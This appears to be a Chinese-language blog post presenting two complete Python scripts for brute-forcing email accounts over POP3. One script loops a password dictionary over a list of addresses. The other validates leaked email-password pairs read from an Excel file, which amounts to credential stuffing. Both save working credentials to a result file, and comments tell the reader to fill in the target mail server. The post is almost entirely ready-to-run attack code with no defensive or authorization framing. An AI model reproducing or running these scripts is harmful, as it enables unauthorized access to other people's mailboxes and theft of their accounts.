利用python脚本对邮箱密码进行批量爆破

利用python脚本对邮箱密码进行批量爆破

1、一对多:针对一个账户使用多个密码进行爆破,获取正确的密码

import poplib  # 导入POP3库
from email import parser  # 导入邮件解析器
from getpass import getpass  # 导入密码输入函数

pop_server = 'mail.test.com'  # 设置POP3服务器地址,改成需要爆破的目标邮箱pop3服务器地址
pop_port = 995  # 设置POP3端口号,改成需要爆破的目标邮箱pop3服务器地址端口号

def check_email_login(email, password, server, port):
    try:
        # 连接到POP3服务器
        pop_conn = poplib.POP3_SSL(server, port)
        pop_conn.user(email)  # 使用用户名登录
        pop_conn.pass_(password)  # 使用密码登录

        # 获取邮箱消息
        num_messages = len(pop_conn.list()[1])  # 获取邮件数量
        print(f"登录成功! 您有 {num_messages} 封邮件.")

        # 关闭连接
        pop_conn.quit()
        return True  # 返回登录成功标志
    except Exception as e:
        print("登录失败:", e)  # 打印登录失败信息
        return False  # 返回登录失败标志

def main():
    with open("email_userlist.txt", "r") as f_emails:  # 打开邮箱地址列表文件,改成自己的邮箱用户字典文件名字
        email_addresses = f_emails.read().splitlines()  # 读取文件内容并按行划分为列表,改成自己的邮箱密码字典文件名字

    with open("email_passwdlist.txt", "r") as f_passwords:  # 打开密码字典文件
        passwords = f_passwords.read().splitlines()  # 读取文件内容并按行划分为列表

    successful_logins = []  # 初始化成功登录邮箱列表
    for email_address in email_addresses:  # 遍历邮箱地址列表
        for password in passwords:  # 遍历密码字典
            print(f"尝试登录邮箱地址:{email_address},密码:{password}")  # 打印尝试登录的邮箱地址和密码
            if check_email_login(email_address, password, pop_server, pop_port):  # 调用登录函数
                successful_logins.append((email_address, password))  # 如果登录成功,将邮箱地址和密码添加到成功登录列表中
                break  # 如果成功登录,跳出当前密码的循环

    if successful_logins:  # 如果有成功登录的邮箱
        with open("result.txt", "w") as f_result:  # 打开输出文件
            for email_address, password in successful_logins:  # 遍历成功登录的邮箱列表
                f_result.write(f"{email_address}:{password}\n")  # 将邮箱地址和密码写入文件中,并换行
        print("成功登录的邮箱地址和密码已写入result.txt文件中.")  # 提示成功写入文件
    else:
        print("没有成功登录的邮箱地址.")  # 提示没有成功登录的邮箱地址

if __name__ == "__main__":
    main()  # 执行主函数

 注意事项:

pop_server = 'mail.test.com'  # 设置POP3服务器地址,改成需要爆破的目标邮箱pop3服务器地址
pop_port = 995  # 设置POP3端口号,改成需要爆破的目标邮箱pop3服务器地址端口号

将“email_userlist.txt”和“email_passwdlist.txt” #改成自己的邮箱用户和密码字典文件名字,并放入到脚本同级目录下

2、一对一:针对一个账户对应一个密码进行爆破,适用于对大批量的邮箱和对应的密码进行批量验证是否正确

import poplib  # 导入POP3库
from email import parser  # 导入邮件解析器
from getpass import getpass  # 导入密码输入函数
import openpyxl  # 导入openpyxl库

pop_server = 'mail.test.cn'  # 设置POP3服务器地址,填写自己对应的pop3服务器地址
pop_port = 995  # 设置POP3端口号

def check_email_login(email, password, server, port):
    try:
        # 连接到POP3服务器
        pop_conn = poplib.POP3_SSL(server, port)
        pop_conn.user(email)  # 使用用户名登录
        pop_conn.pass_(password)  # 使用密码登录

        # 获取邮箱消息
        num_messages = len(pop_conn.list()[1])  # 获取邮件数量
        print(f"登录成功! 您有 {num_messages} 封邮件.")

        # 关闭连接
        pop_conn.quit()
        return True  # 返回登录成功标志
    except Exception as e:
        print("登录失败:", e)  # 打印登录失败信息
        return False  # 返回登录失败标志

def main():
    workbook = openpyxl.load_workbook("2.xlsx")  # 加载Excel文件
    sheet = workbook.active  # 获取活动工作表

    successful_logins = []  # 初始化成功登录邮箱列表
    for row in sheet.iter_rows(min_row=2, values_only=True):  # 遍历Excel文件的每一行,跳过标题行
        email_address, password = row[0], row[1]  # 获取邮箱地址和密码
        print(f"尝试登录邮箱地址:{email_address},密码:{password}")  # 打印尝试登录的邮箱地址和密码
        if check_email_login(email_address, password, pop_server, pop_port):  # 调用登录函数
            successful_logins.append((email_address, password))  # 如果登录成功,将邮箱地址和密码添加到成功登录列表中

    if successful_logins:  # 如果有成功登录的邮箱
        with open("result2.txt", "w") as f_result:  # 打开输出文件
            for email_address, password in successful_logins:  # 遍历成功登录的邮箱列表
                f_result.write(f"{email_address}:{password}\n")  # 将邮箱地址和密码写入文件中,并换行
        print("成功登录的邮箱地址和密码已写入result2.txt文件中.")  # 提示成功写入文件
    else:
        print("没有成功登录的邮箱地址.")  # 提示没有成功登录的邮箱地址

if __name__ == "__main__":
    main()  # 执行主函数

将邮箱和密码存入2.xlsx的excle表格中

爆破

输出结果result2.txt

posted @ 2024-04-18 11:56  hkgan  阅读(13)  评论(0编辑  收藏  举报